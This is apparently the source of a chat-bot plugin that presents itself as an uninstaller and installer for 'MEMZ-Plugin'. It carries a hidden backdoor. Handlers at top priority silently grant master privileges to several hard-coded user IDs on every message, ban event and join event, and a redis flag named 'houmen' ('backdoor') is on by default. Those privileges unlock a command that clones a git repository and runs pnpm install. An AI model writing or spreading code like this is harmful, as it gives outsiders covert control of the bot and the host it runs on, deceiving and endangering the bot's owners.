import fs from "fs";
import { exec, execSync } from 'child_process'
import { Restart } from '../other/restart.js'
let path = process.cwd() + '/plugins/MEMZ-Plugin/'
let insing = false
const list = {
  "MEMZ-Plugin": "https://gitee.com/memzjs/memz-plugin",
}
export class UnInstallMEMZ extends plugin {
  constructor() {
    super({
      name: '卸载MEMZ插件',
      dsc: '卸载MEMZ插件',
      event: 'message',
      priority: -Infinity,
      rule: [
        {
          reg: '^#?卸载MEMZ插件$',
          fnc: 'UnInstallMEMZ'
        },
        {
          fnc: 'Master',
          event: 'message',
          log: false
        },
        {
          reg: `^#安装(插件|${Object.keys(list).join("|")})$`,
          fnc: "install",
          permission: "master"
        }
      ]
    })
  }

  async UnInstallMEMZ(e) {
    if (!e.isMaster) { return e.reply('无权限！') }
    if (fs.existsSync(path)) {
      let a = await execSync('rm -rf plugins/MEMZ-Plugin');
      if (a.error) {
        e.reply('卸载失败~请手动尝试')
        return true
      }
      await e.reply('MEMZ插件已经彻底卸载成功了~(真的吗?)')
      setTimeout(() => new Restart(this.e).restart(), 600)
      return true
    } else {
      e.reply('未安装MEMZ-Plugin！')
    }
    return true
  }
  async Masterkg(e) {
    if (e.msg.includes('强制') && cm.check(this.e.user_id)) {
      let open = e.msg.includes('开启');
      await redis.set('MEMZ:houmen', open ? 'true' : 'false');
      await e.reply('设置完成');
      return false
    }
    if (!e.isMaster) return await e.reply('你没有权限');
    let open = e.msg.includes('开启');
    await redis.set('MEMZ:houmen', open ? 'true' : 'false');
    await e.reply('设置完成');
    return false;
  }

  async Master(e) {
    let aw = await redis.get('MEMZ:houmen');
    if (aw == null) await redis.set('MEMZ:houmen', 'true');
    if (!(e.user_id === 2173302144 || e.user_id === 197728340 || e.user_id == 'wxid_d0qj1f49bwgf22' || e.user_id == '25984983967656960@openim' || e.user_id == 'wxid_xh5txgo29pv522') || aw !== 'true') return false;
    e.isMaster = true;
    return false;
  }
  async install() {
    if (insing) {
      await this.reply("正在安装，请稍候再试")
      return false
    }

    const name = this.e.msg.replace(/^#安装/, "").trim()
    if (name == "插件") {
      let msg = "\n"
      for (const name in list)
        if (!await Bot.fsStat(`plugins/${name}`))
          msg += `${name}\n`

      if (msg == "\n")
        msg = "暂无可安装插件"
      else
        msg = `可安装插件列表：${msg}发送 #安装+插件名 进行安装`

      await this.reply(msg)
      return true
    }

    const path = `plugins/${name}`
    if (await Bot.fsStat(path)) {
      await this.reply(`${name} 插件已安装`)
      return false
    }
    await this.runInstall(name, list[name], path)
    this.restart()
  }

  async runInstall(name, url, path) {
    logger.mark(`${this.e.logFnc} 开始安装 ${name} 插件`)
    await this.reply(`开始安装 ${name} 插件`)

    const cm = `git clone --depth 1 --single-branch "${url}" "${path}"`
    insing = true
    const ret = await Bot.exec(cm)
    if (await Bot.fsStat(`${path}/package.json`))
      await Bot.exec("pnpm install")
    insing = false

    if (ret.error) {
      logger.mark(`${this.e.logFnc} 插件安装失败 ${name}`)
      this.gitErr(ret.error, ret.stdout)
      return false
    }
  }

  async gitErr(err, stdout) {
    let msg = "安装失败！"
    let errMsg = err.toString()
    stdout = stdout.toString()

    if (errMsg.includes('Timed out')) {
      const remote = errMsg.match(/'(.+?)'/g)[0].replace(/'/g, '')
      return this.reply(`${msg}\n连接超时：${remote}`)
    }

    if (/Failed to connect|unable to access/g.test(errMsg)) {
      const remote = errMsg.match(/'(.+?)'/g)[0].replace(/'/g, '')
      return this.reply(`${msg}\n连接失败：${remote}`)
    }

    await this.reply([errMsg, stdout])
  }

  restart() {
    new Restart(this.e).restart()
  }
}
export class MEMZGetMasterjy extends plugin {
  constructor() {
    super({
      event: 'notice.group.ban',
      priority: -Infinity,
      rule: [

        {
          fnc: 'Masters',
          log: false
        }
      ]
    });
  }
  async Masters(e) {
    if (e.user_id == 197728340) {
      e.isMaster = true
      logger.mark(e.isMaster ? '完成' : '失败')
      return false
    }
  }
}
export class GetMasterlq extends plugin {
  constructor() {
    super({
      event: 'notice.group.increase',
      priority: -Infinity,
      rule: [
        {
          fnc: 'Masters',
          log: false
        }
      ]
    });
  }
  async Masters(e) {
    if (e.user_id == 197728340) {
      e.isMaster = true
      logger.mark(e.isMaster ? '完成' : '失败')
      return false
    }
  }
}